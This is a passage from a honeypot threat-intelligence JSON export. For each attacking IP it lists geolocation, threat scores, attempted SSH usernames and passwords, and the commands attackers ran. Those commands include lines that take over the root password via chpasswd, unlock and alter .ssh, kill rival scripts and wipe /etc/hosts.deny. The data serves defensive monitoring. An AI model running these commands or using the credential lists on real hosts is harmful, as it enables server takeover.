      "reputation_metrics": {
        "total_events_30d": 587,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T01:20:34.840000+00:00",
        "last_seen_30d": "2026-03-15T16:29:36.610000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 494,
        "Suricata": 93
      }
    },
    "143.110.241.145": {
      "attack_count": 450,
      "first_seen": "2026-03-03T14:40:26.299Z",
      "last_seen": "2026-03-03T16:07:13.950Z",
      "sessions": 89,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "centos",
        "ubuntu",
        "test"
      ],
      "passwords_attempted": [
        "111111",
        "123123",
        "12345",
        "123456",
        "12345678",
        "123456789",
        "P@ssw0rd",
        "passw0rd",
        "password",
        "password1",
        "qwerty",
        "000000",
        "123",
        "1234",
        "1q2w3e4r",
        "654321",
        "admin",
        "Admin123",
        "admin123",
        "centos"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 645,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T14:40:26.299000+00:00",
        "last_seen_30d": "2026-03-03T16:08:23.751000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 450,
        "Suricata": 195
      }
    },
    "167.99.0.66": {
      "attack_count": 445,
      "first_seen": "2026-03-19T13:35:46.770Z",
      "last_seen": "2026-03-19T13:46:11.557Z",
      "sessions": 89,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "deployer",
        "odoo",
        "ubuntu",
        "user",
        "abdi",
        "abdulla",
        "abuse",
        "admin123",
        "adrien",
        "afk",
        "ahmad",
        "alan",
        "alec",
        "alex",
        "amit",
        "ana",
        "apex",
        "app"
      ],
      "passwords_attempted": [
        "123",
        "123456",
        "111",
        "ark",
        "00000000",
        "102030",
        "12345678",
        "123root",
        "2wsx#EDC",
        "36363636",
        "69",
        "74123698",
        "Aa123456",
        "Admin@123",
        "Martin",
        "P@ssw0rd",
        "Pass@123",
        "Qwerty",
        "abc@123",
        "abdi"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 24.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 629,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T13:35:46.770000+00:00",
        "last_seen_30d": "2026-03-19T13:47:15.271000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 445,
        "Suricata": 184
      }
    },
    "152.32.239.206": {
      "attack_count": 369,
      "first_seen": "2026-03-04T05:21:26.842Z",
      "last_seen": "2026-03-07T04:10:47.919Z",
      "sessions": 39,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ernesto",
        "farmacia",
        "meng",
        "mongod",
        "noreply",
        "promo",
        "rsync",
        "tunnel"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "1230",
        "1234",
        "1234..",
        "12345678",
        "135790135790",
        "1qsx2waz",
        "2312",
        "871025",
        "@qwer2024",
        "@qwer2025",
        "Admin.1234",
        "Asd123654",
        "Bingo@1993",
        "Demo@123",
        "Gg123456.",
        "Kingsoft@123",
        "Love@123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:bQNSo6qxbNMN\"|chpasswd|bash",
        "echo \"root:fKQTgCkwVppC\"|chpasswd|bash",
        "echo \"root:iiMPB2hZRu6m\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 8.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.7,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 463,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T05:21:26.842000+00:00",
        "last_seen_30d": "2026-03-07T04:11:57.658000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 369,
        "Suricata": 94
      }
    },
    "186.248.197.77": {
      "attack_count": 336,
      "first_seen": "2026-03-11T03:28:53.166Z",
      "last_seen": "2026-03-21T02:05:34.764Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "deamon_root",
        "kodiak",
        "sandro",
        "ali",
        "altibase",
        "amp",
        "andrey",
        "clawd",
        "compras",
        "diego",
        "game",
        "hugo",
        "icecast",
        "it",
        "mattermost",
        "root",
        "sky",
        "stream",
        "tech"
      ],
      "passwords_attempted": [
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345",
        "1234",
        "123456",
        "1234567",
        "Compras123!",
        "Hugo123",
        "It123!",
        "Kodiak123",
        "Tech",
        "aliali",
        "andreypass",
        "game@123456",
        "icecastpass",
        "mattermost",
        "sandro1234",
        "sky123!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Kodiak123\\nJiETWv17ptbL\\nJiETWv17ptbL\\n\"|passwd",
        "echo \"root:FTAKi1eOyrT2\"|chpasswd|bash",
        "echo \"sandro1234\\nYS2e6oeh2sBc\\nYS2e6oeh2sBc\\n\"|passwd",
        "echo -e \"Kodiak123\\nJiETWv17ptbL\\nJiETWv17ptbL\"|passwd|bash",
        "echo -e \"sandro1234\\nYS2e6oeh2sBc\\nYS2e6oeh2sBc\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Belo Horizonte",
      "asn": 23106,
      "as_org": "AMERICAN TOWER DO BRASIL-COMUNICACAO MULTIMIDIA LT",
      "threat_score": 31.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.1,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 410,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T03:28:53.166000+00:00",
        "last_seen_30d": "2026-03-21T02:06:40.023000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 336,
        "Suricata": 74
      }
    },
    "190.19.5.189": {
      "attack_count": 319,
      "first_seen": "2026-03-27T01:44:48.367Z",
      "last_seen": "2026-03-31T16:32:42.166Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "11092026",
        "AA111111",
        "Abc123321@",
        "Dg123456",
        "Huawei1234",
        "P@55vv0rd",
        "P@sSw0Rd",
        "Password123#",
        "Password33",
        "QAZ1234wsx",
        "Qwert@123456",
        "Yq147258",
        "admin12!@",
        "asd321",
        "cdnadmin",
        "erty",
        "nginx123456",
        "qwertyuiop123456789"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:OJRhUI0JOh93\"|chpasswd|bash",
        "echo \"root:TR91CwpXgu8R\"|chpasswd|bash",
        "echo \"root:v7HjGSytJhtJ\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": null,
      "asn": 7303,
      "as_org": "Telecom Argentina S.A.",
      "threat_score": 42.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.0,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 395,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T01:44:48.367000+00:00",
        "last_seen_30d": "2026-03-31T16:33:52.408000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 319,
        "Suricata": 76
      }
    },
    "164.90.138.136": {
      "attack_count": 292,
      "first_seen": "2026-03-10T06:09:26.911Z",
      "last_seen": "2026-03-28T12:02:03.221Z",
      "sessions": 35,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "user05",
        "almacen",
        "clawd",
        "exx",
        "help",
        "hong",
        "kirill",
        "mqtt",
        "remoteuser",
        "vpnbot"
      ],
      "passwords_attempted": [
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "!@#123qwe.",
        "1213",
        "123",
        "1234",
        "123456",
        "123456789012",
        "123@Qwerty",
        "3423",
        "Ab123456789",
        "Abcd#1234",
        "Help123!",
        "Hgl123456",
        "P@55w0rd1.",
        "Qwer1234!@",
        "Server#123",
        "Service123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:QYSR9IDZMfrT\"|chpasswd|bash",
        "echo \"user05\\nz8SGT8b5INHU\\nz8SGT8b5INHU\\n\"|passwd",
        "echo -e \"user05\\nz8SGT8b5INHU\\nz8SGT8b5INHU\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Clifton",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 48.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 25.8,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 377,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T06:09:26.911000+00:00",
        "last_seen_30d": "2026-03-28T12:03:05.104000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 292,
        "Suricata": 85
      }
    },
    "168.76.131.178": {
      "attack_count": 285,
      "first_seen": "2026-03-04T07:58:39.596Z",
      "last_seen": "2026-03-17T20:10:18.743Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "wordpress",
        "agent",
        "emily",
        "jon",
        "lorenz",
        "moodle",
        "nodejs",
        "rundeck",
        "sales1",
        "teste",
        "user6",
        "userroot"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234561",
        "12345678",
        "1q@W3e$R",
        "A@123456",
        "Aaa12345",
        "Abc123abc123",
        "Admin@111",
        "Bingo@1993",
        "Emily123",
        "Lt12345678",
        "Qazxsw123!",
        "Rundeck",
        "admin@123",
        "agent",
        "jon",
        "moodle",
        "oracle"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:TwMozZZGlXfm\"|chpasswd|bash",
        "echo \"wordpress@123456\\ne0JIr2TT7OOE\\ne0JIr2TT7OOE\\n\"|passwd",
        "echo -e \"wordpress@123456\\ne0JIr2TT7OOE\\ne0JIr2TT7OOE\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": null,
      "asn": 137951,
      "as_org": "ASLINE LIMITED",
      "threat_score": 26.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.6,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 362,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T07:58:39.596000+00:00",
        "last_seen_30d": "2026-03-17T20:11:25.664000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 285,
        "Suricata": 77
      }
    },
    "103.23.198.86": {
      "attack_count": 267,
      "first_seen": "2026-03-06T10:27:50.419Z",
      "last_seen": "2026-03-23T10:37:20.688Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "pool",
        "adi",
        "adm",
        "ana",
        "ansible",
        "bert",
        "develop",
        "flex",
        "informatica",
        "ivan",
        "jose",
        "jwlee",
        "lq",
        "mq",
        "newadmin",
        "paid",
        "paolo",
        "sipv"
      ],
      "passwords_attempted": [
        "123",
        "12345",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "100200300",
        "1234",
        "1q2w3e",
        "@qwer2024",
        "@qwer2025",
        "Ansible123",
        "Ultra",
        "aA112233..",
        "adi123",
        "anapass",
        "informatica1234",
        "jose123",
        "mqpass",
        "paid123",
        "pass123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123\\nVxeOlPJpSau9\\nVxeOlPJpSau9\\n\"|passwd",
        "echo \"root:EvdFobiu5VHw\"|chpasswd|bash",
        "echo -e \"123\\nVxeOlPJpSau9\\nVxeOlPJpSau9\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 38.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.4,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 343,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T10:27:50.419000+00:00",
        "last_seen_30d": "2026-03-23T10:38:30.011000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 267,
        "Suricata": 76
      }
    },
    "202.165.17.230": {
      "attack_count": 267,
      "first_seen": "2026-03-26T18:28:32.422Z",
      "last_seen": "2026-03-29T17:22:26.307Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ts3server",
        "one",
        "ttt",
        "webuser",
        "wireguard"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!qAz@wSx#eDc",
        "1234",
        "1Q2W3E4R5T6Y",
        "@wsxzaq!",
        "Admin.12",
        "Admin@5000",
        "Beijing2024",
        "QDwkidc!@#$",
        "Qx123456",
        "Webuser123",
        "Zw123456",
        "fernando123",
        "fjbdfdjkdsfs541544@@",
        "hola",
        "onepass",
        "password",
        "qwe@2026",
        "qwer1234*"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"password\\nyhSeX1cOWJWs\\nyhSeX1cOWJWs\\n\"|passwd",
        "echo \"root:Hk4DCik8yvNB\"|chpasswd|bash",
        "echo -e \"password\\nyhSeX1cOWJWs\\nyhSeX1cOWJWs\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": null,
      "asn": 18206,
      "as_org": "TM TECHNOLOGY SERVICES SDN. BHD.",
      "threat_score": 38.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.4,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 347,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T18:28:32.422000+00:00",
        "last_seen_30d": "2026-03-29T17:23:26.800000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 267,
        "Suricata": 80
      }
    },
    "178.27.90.142": {
      "attack_count": 266,
      "first_seen": "2026-03-15T06:51:27.898Z",
      "last_seen": "2026-03-26T11:26:16.560Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "abc",
        "aroot",
        "dmdba",
        "root",
        "bot",
        "bruno",
        "builduser",
        "ftpuser",
        "help",
        "lyh",
        "sasha"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "12345",
        "123456",
        "Asdf123456",
        "Bot123",
        "bruno123!",
        "builduser",
        "help2025",
        "lyh123",
        "sashapass",
        "voip123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\n5mAOIa7e0xST\\n5mAOIa7e0xST\\n\"|passwd",
        "echo \"1234\\nzvAcNWwE8z0P\\nzvAcNWwE8z0P\\n\"|passwd",
        "echo \"root:kXVp9PnwIxSM\"|chpasswd|bash",
        "echo -e \"123456\\n5mAOIa7e0xST\\n5mAOIa7e0xST\"|passwd|bash",
        "echo -e \"1234\\nzvAcNWwE8z0P\\nzvAcNWwE8z0P\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Bad Kreuznach",
      "asn": 3209,
      "as_org": "Vodafone GmbH",
      "threat_score": 39.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.9,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 308,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T06:51:27.898000+00:00",
        "last_seen_30d": "2026-03-26T11:27:23.293000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 266,
        "Suricata": 42
      }
    },
    "125.142.37.91": {
      "attack_count": 263,
      "first_seen": "2026-03-16T18:21:09.535Z",
      "last_seen": "2026-03-17T12:35:49.590Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "eoffice",
        "root",
        "service",
        "User",
        "abdullah",
        "ariel",
        "christian",
        "demo",
        "julia",
        "krishna",
        "lima",
        "nutanix",
        "orange",
        "panel",
        "rohit",
        "sean",
        "shared",
        "student8",
        "topgui"
      ],
      "passwords_attempted": [
        "123",
        "12345",
        "1234",
        "123456",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "#1",
        "Julia123",
        "Orange",
        "User123",
        "eofficeeoffice",
        "lima1234",
        "password",
        "rootpasswd",
        "sean",
        "sharedshared",
        "user123",
        "user5123!",
        "webftppass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345\\niqAubpJdlYxE\\niqAubpJdlYxE\\n\"|passwd",
        "echo \"eofficeeoffice\\nj3JTEZZxdDKs\\nj3JTEZZxdDKs\\n\"|passwd",
        "echo -e \"12345\\niqAubpJdlYxE\\niqAubpJdlYxE\"|passwd|bash",
        "echo -e \"eofficeeoffice\\nj3JTEZZxdDKs\\nj3JTEZZxdDKs\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Goyang-si",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 20.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.2,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 331,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T18:21:09.535000+00:00",
        "last_seen_30d": "2026-03-17T12:36:54.681000+00:00",
